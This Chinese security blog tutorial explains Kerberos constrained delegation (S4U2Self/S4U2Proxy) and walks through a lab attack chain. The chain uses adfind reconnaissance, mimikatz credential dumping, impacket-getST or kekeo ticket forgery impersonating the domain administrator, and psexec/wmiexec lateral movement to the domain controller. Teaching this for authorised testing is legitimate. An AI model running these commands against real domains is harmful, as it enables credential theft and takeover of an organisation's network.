⚠️ 声明:本文仅供网络安全技术学习与交流,文中所有实验均在授权靶场/授权测试环境中进行。严禁利用文中技术从事任何未经授权的测试或非法活动,违者自行承担全部法律责任。请遵守《中华人民共和国网络安全法》等相关法律法规。
本文是「委派攻击系列」第二篇(第一篇:《非约束委派(UD)原理与复现》),讲透约束委派(CD):msDS-AllowedToDelegateTo 约束机制、S4U2Self/S4U2Proxy 两个扩展子协议、完整认证流程、getST/kekeo 两条利用路线与踩坑记录。
一、为什么会有 CD:UD 不安全 ★
非约束委派(UD)的死穴:可转发的 TGT 被缓存在服务进程内存里
控制了设置 UD 的机器(如 win7)→ 有本地管理员权限 →
sekurlsa::tickets /export读出所有来访问过的用户的可转发 TGT相当于能以任意用户身份访问域内任意服务 → 没有任何限制
如果读到管理员/域管的可转发 TGT → 直接拿下域控,危害极大
结论:UD 设计不安全 → 微软在Windows Server 2003里发布了约束委派
版本对照:Windows Server2000引入 AD + UD;2003引入 CD
二、CD 概念与约束方式 ★
英文Constrained Delegation,简称 CD
核心约束:服务账户只能获取用户对指定服务的 ST
设置委派时限制"能对哪些服务委派":如 web$ 只能委派
cifs/DC.example.com不在指定服务列表里的服务 → 委派不了
UD 没有限制(能对任何服务委派),CD 是"有条件的委派"
配置特征(信息收集依据)
| 特征位置 | 内容 |
|---|---|
属性msDS-AllowedToDelegateTo★ | 记录允许委派到的SPN列表 |
| 信息收集 | ldapsearch / AdFind 按该属性筛选:有值 = 配置了 CD |
同 UD 的权限要求:设置委派需要域管理员或企业管理员,普通用户不能设置。
实验演示:设置 CD
新建普通用户(如"委派一")→普通用户不能设委派
先
setspn -U -S cifs/DC.example.com 委派一注册 SPN → 变成服务用户用户属性 → 委派选项卡:
不信任/关闭委派
非约束委派
约束委派← 点它,添加目标(如 DC),勾选 cifs 服务
设置后属性编辑器里
msDS-AllowedToDelegateTo出现 SPN 值
三、CD 的两种模式 ★
| 选项 | 协议转换 | UAC 特征 |
|---|---|---|
| 仅使用 Kerberos | ✗ 不能协议转换 | UAC 与普通用户一样,无特殊 flag |
| 使用任何身份验证协议 | ✓ 允许协议转换 | UAC 多出TrustedToAuthForDelegationflag(类似 UD 的 TrustedForDelegation) |
两种模式msDS-AllowedToDelegateTo都有值。
协议转换是什么意思:Kerberos 认证最终要落到具体服务的协议上
例:委派 cifs 文件共享服务,最终要转换成 SMB 协议访问
仅 Kerberos 模式:只能用于 Kerberos → 自己协议的认证,不能转换 → 通常不讨论
任何身份认证模式:列表内的服务可转换成对应协议去操作 →实际讨论/利用的 CD 都指这种
四、两个 Kerberos 扩展子协议 ★★
微软为让 Kerberos 支持 CD,扩展了两个子协议:
4.1 S4U2Self(Service for User to Self)—— 自协议
作用:代表任意用户,请求针对"自身服务"的可转发 ST。
例:win7 设置了 CD → 它能以其他任意用户(如 admin)的身份,申请一张访问自己运行的服务的 ST
解决的问题:用户可能用 NTLM/表单认证登录 Web 服务 → 用户没向 Web 服务器提供 ST → 服务器无法进一步委派
前置条件:服务必须注册在自己账号(机器用户 web$ 或服务用户)下的 SPN —— S4U2Self 只能针对自身跑的服务,不能用它直接申请访问其他服务的 ST
关键理解点★:S4U2Self不需要目标用户的密码—— 它是"自己访问自己",服务方本来就持有自己的密钥,KDC 只验证服务方身份,"以谁的身份"只是票据里的 cname 字段
4.2 S4U2Proxy —— 代理协议
作用:把上一步拿到的可转发 ST 当作用户的名义证据,向 KDC 请求针对"指定服务(允许委派列表里的)"的新 ST。
以用户的名义申请访问第二个服务的 ST,全程不需要该用户参与/交互
要点:上一张 ST 用作身份验证凭据(当 TGT 用)→ KDC 发出访问新服务的 ST2
五、CD 完整流程 ★★(以"任何身份认证"模式为例)
角色:客户机 test / 服务器 web$(win7,配置 CD:cifs@DC)/ 服务 cifs@DC / KDC
① 客户端test 把用户名密码交给 web$ 运行的网站(表单认证) ② web$ 用 S4U2Self → 以 test 的身份申请"访问自己web服务的ST1" (流程: 找KDC拿TGT → 申请ST1 → ST1可转发) → 客户端得到登录成功响应 ③ test 请求下载文件 → web$ 用 S4U2Proxy 把 ST1 当作 test 的身份凭据 → 找 KDC 申请访问 cifs@DC 的 ST2 ④ web$ 拿 ST2 访问 DC 的 cifs → 读回数据 → 返回给 test (全程 test 只在①参与,后面的委派用户不知情)
对比 UD 认清区别:
| UD | CD | |
|---|---|---|
| 用户票据 | 整张可转发 TGT缓存到内存 | 只给指定服务的 ST1 |
| 用户授权范围 | 任意域内服务 | 仅msDS-AllowedToDelegateTo列表 |
| 危害 | 读到域管 TGT = 直通域控 | 受限,但攻击手法多 |
六、攻击利用(实验)★★
6.1 利用前提(两个条件)
拿到域内一台机器 + 配置了约束委派的账号凭据(服务用户 = 明文密码或哈希;机器用户 = 只有哈希,需先提权到本地管理员再 mimikatz 抓)
该账号委派的SPN 列表里存在可利用服务:
cifs→ 横向移动(SMB)WINRM→ 横向移动DCSYNC(dc01 的 DS 相关 SPN)→ 直接 DCSync 导出域哈希其他服务 → 生成票据后找服务漏洞继续打
★协议转换是前提:委派配置必须勾"使用任何身份验证协议"(可协议转换)。若勾"仅 Kerberos",S4U2Self 返回的票据不可转发,S4U2Proxy 报错
KDC_ERR_BADOPTION—— 整条链断掉
6.2 攻击流程(四步)
第 1 步:信息收集(找配置了约束委派的账号):
# 服务用户(msDS-AllowedToDelegateTo 有值) adfind.exe -f "(&(objectCategory=person)(msDS-AllowedToDelegateTo=*))" msDS-AllowedToDelegateTo # 机器账户 adfind.exe -f "(&(objectClass=computer)(msDS-AllowedToDelegateTo=*))" msDS-AllowedToDelegateTo
第 2 步:抓凭据:
服务用户:明文密码(可能有)或哈希
机器账户(如
WEB$):只有哈希 —— mimikatz:
privilege::debug sekurlsa::logonpasswords
第 3 步:申请票据(两条路线):
路线 A ——Impacket getST(Kali,服务用户明文密码一步到位):
# 前置:/etc/hosts 解析域名和域控;/etc/krb5.conf 配置 realm;ntpdate 时间同步 impacket-getST -dc-ip 10.0.0.1 dc01.example.com \ 域/委派用户:密码 \ -spn cifs/dc01.example.com \ -impersonate administrator # 自动完成 S4U2Self + S4U2Proxy 六个包, 产出 administrator 身份访问 cifs 的 ST
路线 B ——kekeo(Windows,机器账户哈希,手动三步):
// 1. 用机器账户哈希申请 TGT kerberos::golden /user:WEB$ /domain:example.com /ntlm:<hash> /ticket:WEB.kirbi // 2. tgs::s4u —— S4U2Self 伪造 administrator 访问自己 + S4U2Proxy 请求被委派服务 tgs::s4u /tgt:TGT.kirbi /user:administrator@example.com /service:cifs/dc01.example.com // 3. 导入最后一张 ST kerberos::ptt <ST文件>.kirbi
(kekeo 与 mimikatz 同作者,语法一致)
第 4 步:使用票据:
// 验证: dir \\dc01.example.com\c$ ← 必须写域名, 写 IP 票据认证不生效 // 横向: impacket-psexec / wmiexec -k -no-pass administrator@dc01.example.com
psexec:上传文件 + 注册服务,落 system,动静大(7045 服务安装日志)
wmiexec:WMI 执行,管理员权限,无落盘,动静小
6.3 踩坑记录 ★(实战细节)
① SPN 自指冲突: 给服务用户委派的 SPN 恰好是自己注册的实体(如委派用户自己注册了 cifs/dc01 又委派它) → 票据能生成但导入使用报 KRB_AP_ERR_MODIFIER/格式错误 解法: setspn -U -S mssql/web.example.com 委派用户 (先补一个无关SPN) 再 setspn -D cifs/dc01.example.com 委派用户 (删掉冲突项) ② 票据残留: klist purge 清不干净时, 直接重开终端 ③ KRB_AP_ERR_MODIFIERS 报错排查顺序: SPN 冲突 → 协议转换没勾 → 时间不同步
6.4 场景矩阵(2×2)
| 明文密码(服务用户) | 仅哈希(机器账户) | |
|---|---|---|
| Kali | getST 一步到位 | getST -hashes / kekeo |
| Windows(域内机器) | kekeo 明文申请 | kekeo 三步(路线 B) |
实战拿到域内机器后两种用户都查:机器账户WEB$(必在)+ 登录用户(如 test)。谁配置了委派就用谁的凭据。
七、速查表 ★
CD = Constrained Delegation 约束性委派 (Server 2003 引入, 补 UD 的洞) 特征: msDS-AllowedToDelegateTo 有SPN值 → ldapsearch/AdFind 筛找CD用户 模式1: 仅Kerberos = 不能协议转换 (不讨论; 票据不可转发→S4U2Proxy报BADOPTION) 模式2: 任何身份认证 = UAC含TrustedToAuthForDelegation → 能转协议, 主流 S4U2Self : 任意用户身份 → 申请"访问自己服务"的可转发ST1 (不需要对方密码) S4U2Proxy: ST1 当TGT用 → 申请"列表内服务"的ST2 利用: 拿委派账号凭据 → getST(明文一步) / kekeo(哈希三步) → ptt → dir/横向 可利用SPN: cifs/WINRM(横向) DCSYNC(直接导哈希) 设置CD: setspn变成服务用户 → 用户属性→委派→约束委派→加服务 踩坑: SPN自指冲突(补无关SPN再删) / 票据残留(重开终端) / 时间同步
附:英文术语翻译
| 英文 | 翻译 | 干什么 |
|---|---|---|
| CD (Constrained Delegation) | 约束性委派 | 只能委派到指定服务列表,补 UD 的不安全 |
| UD (Unconstrained Delegation) | 非约束委派 | 上一篇;票据可转发到任意服务 |
| msDS-AllowedToDelegateTo | 允许委派到的目标 | CD 特征属性,存 SPN 列表;信息收集筛选依据 |
| S4U2Self | 自协议 | 代表任意用户请求访问自身服务的可转发 ST |
| S4U2Proxy | 代理协议 | 把上一步 ST 当 TGT 用,请求列表内服务的新 ST |
| TrustedToAuthForDelegation | 信任该账户进行委派认证 | "任何身份认证"模式的 UAC flag 位 |
| Protocol Transition | 协议转换 | Kerberos 认证桥接到目标服务协议(如 SMB)的能力 |
| KDC_ERR_BADOPTION | - | 仅 Kerberos 模式时 S4U2Proxy 的报错(票据不可转发) |
| KRB_AP_ERR_MODIFIER | - | 票据使用报错(SPN 冲突等场景) |
| SPN (Service Principal Name) | 服务主体名称 | 服务实体标识,委派列表的记录形式 |
| ST (Service Ticket) | 服务票据 | 访问某服务的凭据,CD 里流转的是可转发版 |
| TGT (Ticket Granting Ticket) | 票据授予票据 | 身份凭据,S4U2Proxy 中被 ST1"冒充"使用 |
| getST | 获取 ST | Impacket 的 S4U 利用脚本 |
| kekeo | - | Windows 端 Kerberos 工具(与 mimikatz 同作者) |
| adfind | - | LDAP 查询工具(信息收集) |
| cifs / WINRM / DCSYNC | - | 可利用的委派 SPN 类型 |
【免责声明】
本文仅供网络安全学习研究使用,严禁用于非法用途;
文中所有测试均在授权环境(自建靶场/授权测试项目)中进行,敏感数据已脱敏;
利用本文内容造成的任何后果由使用者自行承担,与作者无关;
如涉及侵权,请联系作者删除;
转载请注明出处。
(本文为原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。)